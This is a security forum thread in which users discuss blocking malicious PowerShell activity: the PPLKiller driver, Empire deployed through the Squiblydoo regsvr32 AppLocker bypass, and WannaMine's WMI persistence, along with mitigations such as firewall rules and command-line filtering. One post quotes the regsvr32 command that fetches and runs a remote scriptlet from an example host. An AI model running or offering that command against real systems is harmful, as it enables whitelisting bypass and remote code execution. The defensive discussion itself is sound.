Current state of malicious Powershell script blocking

I must chime in with a solid second on that Mood.

Those contributions offered in rich detail or even in brief certainly has helped sharpen and put into perspective a better grasp of matters that sometimes can fly right past me.

 

I am totally befuddled by this MZWriteScanner discussion.

First, a brief review on drivers. Drivers related to normal software installations are packaged within its installer and consist of the following three files:

1. A .inf file that contains setup/installation data about the driver. This file is associated with the Service Control Manager and will to perform the driver installation as part of the installer processing. Additionally a .inf file can be doubled clicked to perform the same activity to install a driver manually.

2. A .cat file that contains the signed signature certificate. Note that Windows driver signature enforcement requires all kernel mode drivers be signed with a special driver signing certificate only available from a few root CAs. Additionally on Win 10 and only for installations installed from scratch and not upgraded from a previous OS version, kernel mode driver must be signed with a special driver certificate only issued by Microsoft. Also as I believe most are aware of, Win 8, 10 Secure Boot require all kernel mode drivers to be Microsoft driver cert.signed. But there is a way around all this that I will get to later.

3. A .sys file which is just low level assembler code for the driver whose purpose is primarily to interface between a physical device and the OS kernel. This file is useless for any other purpose that previously described and cannot be directly executed by any means.

Onward to PPLKiller. First, installation and execution details:

Installation Comments

Step 1. is a "loophole" Microsoft provided in Win 10 to get around the kernel driver Microsoft driver certificate requirement.

Step 2. requires full admin privileges; at least on Win 10. Escalating to that level by malware is no issue, so we'll move on.

Step 3. is the command line, PowerShell, etc. execution of Service Control Manager to register the kernel driver and its service, pplkiller, to the OS and install it in the Win drivers directory. Note that this is a way to force install a driver "on the fly."

Operation Comments

Again, the Win Service Control Manager is invoked via command line, PowerShell, etc. to start the pplkiller service which results in the driver being loaded into OS kernel space.

Above installation and operation activities can be prevented by blocking sc.exe execution. Doing so will bork every OS and app valid driver installation thereafter.

 

I'm sorry @itman but your last post just describes installation procedure for driver and service to communicate with it. Or did I miss the point?

 

My point in posting as I did is it doesn't detect .sys binaries since they are not executables.

 

Getting back on topic, here's a more practical abet far less creative deployment of Empire.

As noted by the author, he wanted to deploy something with CobaltStrike capability but didn't "have any loose change" to purchase it. In this example, PowerShell was installed on the target device but so was AppLocker and he wanted to bypass its constraints on PowerShell execution; namely its Constrained Language mode restrictions. He settled on using Casey Smith's Squibbedoo hack. Good choice since it has been the most widely used hack in conjunction with PowerShell that has been used in recent history with great success.

And yes, this attack could be thwarted by blocking system.management.automation.dll use since it is using .Net to execute system assemblies related to the locally installed ver. of Powershell. It can also be stopped by monitoring regsvr32.exe execution. It cannot be stopped by blocking local device powershell.exe execution.

https://bneg.io/2017/07/26/empire-without-powershell-exe/

Also I really don't know if these third party non-AV solutions can really detect system.management.automation.dll loading as noted in the article:

 

I don't know if SRP would block this. I usually add SCT extension to blacklisted filetypes and double-clicking them is blocked by SRP. I wonder if it would also be blocked if regsvr32 is calling it. I'll try to do some tests and see.

EDIT: after quick test it seems that SRP also doesn't block it if it's called by regsvr32.

 

So for an Empire exploit to happen, it first needs to run a script on the local system. I think most of the people reading this thread probably are set up to either block or monitor scripts, by disabling script interpreters, or by means of their security software, or both.

 

No. The .js script is never directly executed but imbedded into a .sct file as noted below:

 

In reference to the above what actually is executed on the target machine is; regsvr32 /s /n /u /i:https://example.com/2legit.sct” scrobj.dll.

Once the connection is made to the remote server, Empire is deployed to remotely run Powershell assemblies via .Net to execute the malware payload on the local device.

 

So is there any protection for this?

 

You really need a product with fine grained command line scanning to catch this for the most part. I've got my command line filtering set to essentially block anything that SubTee (Casey Smith) has put out so far with room for different variations.

 

Party pooper

 

I haven't read all of these conversation and articles so sorry if it is pointless. But what if regsvr32 is blocked in FW? I think this is one of basics since a research found bypass for Applocker (and other whitelist based approach) using these exes (rundll32 too, but blocking it can cause trouble while regsvr32 rarely cause.)
Also blocking scrobj.dll (among other dlls) are recommended, but while it can be done on EMET ASR I'm not sure if it can be done on Win10.

 

Good point.
In addition, it needs some entry point to the system, so if you have the exploitable apps such as Office apps and browsers under control, and some kind of anti-exe or the equivalent, I think Empire will have a very hard time getting on the system -- at least for home users who are not exposed to network worms and targeted attacks.

 

Yes, I agree. Anti-exe plus firewall could go long way to disrupt that kind of attack. Unfortunately both can cause problems for regular users, who don't know how to use them.

 

If there is someone who is interested in OSA has in the "Main Protection" different rules to monitor/block all this.

http://funkyimg.com/i/2CTQk.gif

 

Yes, the current recommended mitigation against Squibbedoo is to block outbound regsvr32.exe connections with a firewall. Note that other legit Win system processes can in similar fashion be abused. A few of them are listed in the new SysHardener app that has a separate thread in Wilders. Also, note that the Squibbedoo bypass and Empire are separate issues. Squibbedoo can utilized by other hacking methods besides Empire.

One other comment about the Empire and Squibbedoo write up. If the registry hack method of setting PowerShell language mode to Constrained was deployed, the .Net use of Powershell assemblies by Empire would have been blocked. The shown bypass of AppLocker was accomplished by use of a system trusted process which in effect removed any Constrained language mode restrictions. As Matt Grabber has demonstrated however, the registry hack can be nullified by employing Powershell commands to do so. Therefore, local machine powershell.exe must be monitored. What needs further research is if it also can be overridden using Empire. It can definitely be overridden by any malware capable of writing to the registry. So you need something that would monitor registry modification activities to its associated key.

 

For those interested in more details about Empire, I am posting a link to a web site that covers its components and use in a number of articles:

https://null-byte.wonderhowto.com/h...with-post-exploitation-windows-hosts-0178664/

 

@itman thx for confirmation and detailed explanation. Besides firewall, SUA shouldn't have access to these often abused commands (blacklist commands listed on Florian's list by SRP & ACL).

 

Came across an interesting posting on TechNet on WannaMine that is currently using PowerShell to reek havoc on servers:

https://social.technet.microsoft.co...sk-every-90-minutes?forum=winserverpowershell

For purposes of this posting, ignore the Eternal Blue ref.. WannaMine will use that on unpatched networks to install the coin miner on client devices. It will not impede the installation of WannaMine on the server.

Appears WannaMine has the ability to evade conventional AV sandboxing based on the TechNet posting. Still trying to "get a grip" on how it is doing so. Must be immediately loading into memory prior to sandbox taking effect or something on that order.

Anyway WannaMine's trademark is creating a WMI consumer event oftentimes named "DSM Event Logs Consumer" and running PowerShell from it. Although it also has used other persistence methods to run Powershell such as scheduled tasks, registry Run keys, you name it. Came across probably the most detailed article I have seen on WannaMine that was published by CloudStrike: https://www.crowdstrike.com/blog/cryptomining-harmless-nuisance-disruptive-threat/ . What is notable in the CloudStrike article is how the bugger hijacked the SCM Event Filter within WMI Filter to Consumer Bindings that is present by default in older Win OS vers. to insert its PowerShell code within the existing SCM Event Consumer. Most would ignore that event figuring it was safe.

Another "good read" from CloudStrike on WMI and Powershell hacking is this COZY BEAR backdoor article: https://www.crowdstrike.com/blog/bear-hunting-tracking-cozybear-backdoors/

 

It is logical.
Different OS different attack mode.

 

This Endgame blog article has more detail on WannaMine payload delivery. WannaMine is basically a "sleeper" malware infection so that is how it is evading conventional AV sandbox analysis:

https://www.endgame.com/blog/executive-blog/whats-yours-cryptomine-how-endgame-stops-wannamine

Also note that something like Empire Powershell has the capability to download PowerShell scripts directly to memory and execute them from there bypassing any target device restrictions on PowerShell script execution. In an XP/Server2003 environment, this would be only be used to deliver the malware payload. The payload in turn would create WMI events for persistence that are wscript based since PowerShell is not natively installed on those installations. Also using something like OSArmor to block WMI based script execution would not be practical for server installations that created their own like consumer events unless there is a way to exclude those events. Additionally note that in XP a number of consumer events exist by default and blocking any scripts associated with them will have negative effects: https://soykablog.wordpress.com/201...ent-registrations-trevor-sullivans-tech-room/

 

Powershell running on XP requires the installed NET Frameworks.
The uninstallation of all these could stop this possibility in the bud.
I have uninstalled all the NET Frameworks from my XP System since 2014.

If I remember correctly only with XP this is possible.
But I could be wrong.